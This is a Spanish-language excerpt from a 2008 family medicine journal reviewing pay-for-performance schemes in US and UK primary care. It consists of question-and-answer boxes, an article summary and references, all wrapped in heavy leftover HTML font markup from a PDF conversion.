<p></font></font></strong><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font></font></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"></p>
<p align="left">1. Peterson LA, Woodard LD, Urech T, Daw C, Sookanan S. Does pay-for-performance</p>
<p align="left">improve the quality of health care? Ann Intern Med.</p>
<p align="left">2006;145:265-72.</p>
<p align="left">63 AMF 2008;4(6):344-352 <strong><font face="RotisSemiSans-Bold" size="1"><font face="RotisSemiSans-Bold" size="1">347</font></font></strong></p>
<p></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font></font></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"></p>
<p align="left">Juan Gérvas</p>
<p align="left">Mercedes Pérez Fernández</p>
<p align="left">Pago por desempeño (<em><font face="RotisSemiSans-Italic" size="1"><font face="RotisSemiSans-Italic" size="1">«pay for performance»</font></font></em><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1">) [P4P])</font></font></p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Pregunta</p>
<p></font></font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">En Estados Unidos, ¿ven problemas éticos en el pago por</p>
<p align="left">desempeño?</p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Respuesta</p>
<p></font></font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">El pago por desempeño conlleva graves problemas éticos.</p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">> 4</p>
<p align="left">PROBLEMAS ÉTICOS EN EL PAGO POR DESEMPEÑO</p>
<p align="left">EN ESTADOS UNIDOS</p>
<p></font></font></font></strong><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font></font></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"></p>
<p align="left">2. Pérez Fernández M, Gérvas J. El efecto cascada: implicaciones clínicas,</p>
<p align="left">epidemiológicas y éticas. Med Clín (Barc). 2002;118:65-7.</p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Resumen del artículo</p>
<p></font></font></font><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2" /></font><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2" /></font></font></font></font><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"></p>
<p align="left">Pham HH, Ginsburg PB. Unhealthy trends: the future of</p>
<p align="left">physician services. Health Aff. 2007;26:1586-98.</p>
<p>Contexto. </font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">El gasto sanitario en Estados Unidos supera ya</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">al 16% del PIB, y no deja de crecer. El aumento es en parte</p>
<p align="left">achacable a las formas de pago y a los incentivos que reciben</p>
<p align="left">los médicos.</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Objetivo. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Describir la práctica clínica ambulatoria estadounidense,</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font></strong></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">hacer un ejercicio de predicción si no cambia y</p>
<p align="left">sugerir incentivos para que el cambio sea «sano».</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2" /></font></strong></font><font face="RotisSemiSans-Bold" size="2"><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2" /></font></strong></font></font></strong></font></font><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"></p>
<p align="left">Tipo de estudio. <font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Ejercicio de prospectiva.</font></font></p>
<p></font></font></strong><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Métodos. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Valoración de las características del trabajo del</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">médico «gringo» que han ido cambiando en las dos últimas</p>
<p align="left">décadas, con análisis del impacto de las formas de pago y de</p>
<p align="left">los incentivos.</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Resultados. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Los médicos con trabajo en el medio ambulatorio</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">(especialistas y generalistas) han ido abandonando la</p>
<p align="left">dependencia tecnológica del hospital. Por efecto de los incentivos</p>
<p align="left">de formas de pago por acto (que han valorado siempre</p>
<p align="left">más lo tecnológico que lo cognitivo, y lo agudo más que lo crónico),</p>
<p align="left">los médicos cada vez tienen más potentes centros diagnósticos</p>
<p align="left">y terapéuticos ambulatorios a los que autoderivan</p>
<p align="left">pacientes. Además, en la actualidad se han desarrollado guías</p>
<p align="left">clínicas que se están introduciendo a través del pago por desempeño;</p>
<p align="left">con ellas se intenta evitar la falta de calidad en la</p>
<p align="left">consulta. Todo este movimiento favorece a los especialistas en</p>
<p align="left">detrimento de los generalistas, que no ven incentivado su trabajo</p>
<p align="left">de coordinación y de seguimiento de los pacientes crónicos</p>
<p align="left">y con comorbilidad. En el futuro se precisan incentivos</p>
<p align="left">añadidos al P4P para promover la coordinación de cuidados,</p>
<p align="left">una intensidad de atención apropiada (número e intensidad de</p>
<p align="left">recursos por episodio atendido) y el trabajo en grupo con aceptación</p>
<p>del seguimiento global de pacientes (las </font></font><em><font face="RotisSemiSans-Italic" size="2"><font face="RotisSemiSans-Italic" size="2">medical</font></font></em><em><font face="RotisSemiSans-Italic" size="2"><font face="RotisSemiSans-Italic" size="2"><em><font face="RotisSemiSans-Italic" size="2"><font face="RotisSemiSans-Italic" size="2" /></font></em></font><font face="RotisSemiSans-Italic" size="2"><em><font face="RotisSemiSans-Italic" size="2"><font face="RotisSemiSans-Italic" size="2" /></font></em></font></font></em></font></font><font face="RotisSemiSans-Italic" size="2"><font face="RotisSemiSans-Italic" size="2"><em><font face="RotisSemiSans-Italic" size="2"><font face="RotisSemiSans-Italic" size="2"></p>
<p align="left">homes<font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">).</font></font></p>
<p></font></font></em><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Comentario. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Estados Unidos constituye una excepción en</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">el mundo desarrollado, por no tener cobertura sanitaria pública</p>
<p align="left">de toda su población. Pero conviene estar al tanto de las</p>
<p align="left">propuestas de más pago por desempeño, y de <em><font face="RotisSemiSans-Italic" size="2"><font face="RotisSemiSans-Italic" size="2">medical homes</font></font></em></p>
<p></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">(que los autores ven como grandes centros de salud multiespecialidades</p>
<p align="left">con potente tecnología, en el mismo sentido en que</p>
<p align="left">se promueven en el Reino Unido los «policlínicos»), pues cuentan</p>
<p align="left">con muchos defensores<font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1">1-3</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">.</font></font></p>
<p></font></font><strong><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2"><strong><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2" /></font></strong></font><font face="RotisSemiSans-ExtraBold" size="2"><strong><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2" /></font></strong></font></font></strong></font></font><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2"><strong><font face="RotisSemiSans-ExtraBold" size="2"><font face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Bibliografía</p>
<p></font></font></strong><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font></font></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"></p>
<p align="left">1. Wennberg JE, O’Connor AM, Collings ED, Weinstein JN. Extending the P4P</p>
<p align="left">agenda. Part 1: How Medicare can improve patient decision making and</p>
<p align="left">reduce unnecesary care. Health Aff. 2007;26:1564-74.</p>
<p align="left">2. Wennberg JE, O’Connor AM, Collings ED, Weinstein JN. Extending the P4P</p>
<p align="left">agenda. Part 2: How Medicare can reduce waste and improve the care of</p>
<p align="left">the chronically ill. Health Aff. 2007;26:1575-85.</p>
<p align="left">3. Goldfield N, Averill R, Vertress J, Fuller R, Mesches D, Moore G, et al.</p>
<p align="left">Reforming the primary care physician payment system. Eliminating E&#038;M</p>
<p align="left">codes and creating the financial incentives for an “advanced medical</p>
<p align="left">homes��?. J Ambulat Care Manager. 2008;31:24-31.</p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Resumen del texto</p>
<p></font></font></font><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2" /></font><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2" /></font></font></font></font><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"></p>
<p align="left">Royal College of General Practitioners. The future direction</p>
<p align="left">of general practice. A roadmap. Londres: RCGP; 2007.</p>
<p>Contexto. </font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">El futuro ni se predice ni se fuerza, pero las instituciones</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">pueden o deben señalar los caminos que prevén recorrer.</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="1"><font face="RotisSemiSans-Bold" size="1"><strong><font face="RotisSemiSans-Bold" size="1"><font face="RotisSemiSans-Bold" size="1" /></font></strong></font><font face="RotisSemiSans-Bold" size="1"><strong><font face="RotisSemiSans-Bold" size="1"><font face="RotisSemiSans-Bold" size="1" /></font></strong></font></font></strong></font></font></strong></font></font><font face="RotisSemiSans-Bold" size="1"><font face="RotisSemiSans-Bold" size="1"><strong><font face="RotisSemiSans-Bold" size="1"><font face="RotisSemiSans-Bold" size="1"></p>
<p align="left">348 <font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1">AMF 2008;4(6):344-352 64</font></font></p>
<p></font></font></strong><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font></font></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"></p>
<p align="left">Juan Gérvas</p>
<p align="left">Mercedes Pérez Fernández</p>
<p align="left">Pago por desempeño (<em><font face="RotisSemiSans-Italic" size="1"><font face="RotisSemiSans-Italic" size="1">«pay for performance» </font></font></em><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1">[P4P])</font></font></p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Pregunta</p>
<p></font></font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">¿Es pasajera la moda del pago por rendimiento (P4P) en</p>
<p align="left">Estados Unidos?</p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Respuesta</p>
<p></font></font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">En Estados Unidos hay un decidido propósito de seguir</p>
<p align="left">con el pago por rendimiento, en el que se incluirá la coordinación</p>
<p align="left">y el trabajo en <em><font face="RotisSemiSans-Italic" size="2"><font face="RotisSemiSans-Italic" size="2">medical homes.</font></font></em></p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">> 5</p>
<p align="left">EL FUTURO MÉDICO EN ESTADOS UNIDOS: M�?S P4P</p>
<p align="left">CON INCENTIVOS PARA COORDINACIÓN</p>
<p align="left">(Y MEDICAL HOMES)</p>
<p align="left">Pregunta</p>
<p></font></font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">¿Cómo ve el Royal College of General Practitioners</p>
<p align="left">(RCGP) el pago por rendimiento?</p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Respuesta</p>
<p></font></font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">El RCGP no se opone al pago por rendimiento, pero</p>
<p align="left">hace constar que puede poner en peligro la agenda común</p>
<p align="left">médico-paciente y disminuir el profesionalismo médico.</p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">> 6</p>
<p align="left">EL FUTURO DE LA MEDICINA GENERAL</p>
<p align="left">(EN EL REINO UNIDO) MODIFICADO</p>
<p align="left">POR LOS INCENTIVOS POR DESEMPEÑO</p>
